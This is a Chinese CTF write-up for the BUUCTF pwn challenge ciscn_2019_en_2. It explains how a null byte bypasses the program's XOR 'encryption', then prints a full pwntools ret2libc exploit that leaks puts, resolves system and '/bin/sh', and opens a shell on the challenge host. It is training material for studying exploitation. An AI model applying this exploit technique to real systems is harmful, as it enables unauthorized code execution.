[buuctf] pwnciscn_2019_en_2

ciscn_2019_en_2

先查看文件的保护

    Arch:     amd64-64-little                   
    RELRO:    Partial RELRO                     
    Stack:    No canary found                  
    NX:       NX enabled                        
    PIE:      No PIE (0x400000)

64位程序池，开了nx保护，拖进ida分析

程序主要就是功能选择，1加密2解密3退出，但是只能1功能有效，加密函数的如下

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xCu;
      }
      else
      {
        s[x] ^= 0xDu;
      }
    }
    else
    {
      s[x] ^= 0xEu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);

如果正常情况下，从这溢出，那么我们输入的shellcode会被加密，我们还得写解密函数，但是注意到strlen函数，那么可以截断，直接绕过这个加密函数，不用进行解密，溢出泄露libc版本即可完成pwn

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

r = remote('node3.buuoj.cn',25663)
elf = ELF('./ciscn_2019_en_2')

rdi_ret = 0x400c83
ret = 0x400c84
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

r.sendlineafter('choice!\n','1')
payload = '\x00'+'a'*(0x50+0x7)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter('encrypted\n',payload)

r.recvline()
r.recvline()


puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,'\x00'))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
r.sendlineafter('choice!\n','1')
payload = '\x00'+'a'*0x57+p64(ret)+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)
r.sendlineafter('encrypted\n',payload)

r.interactive()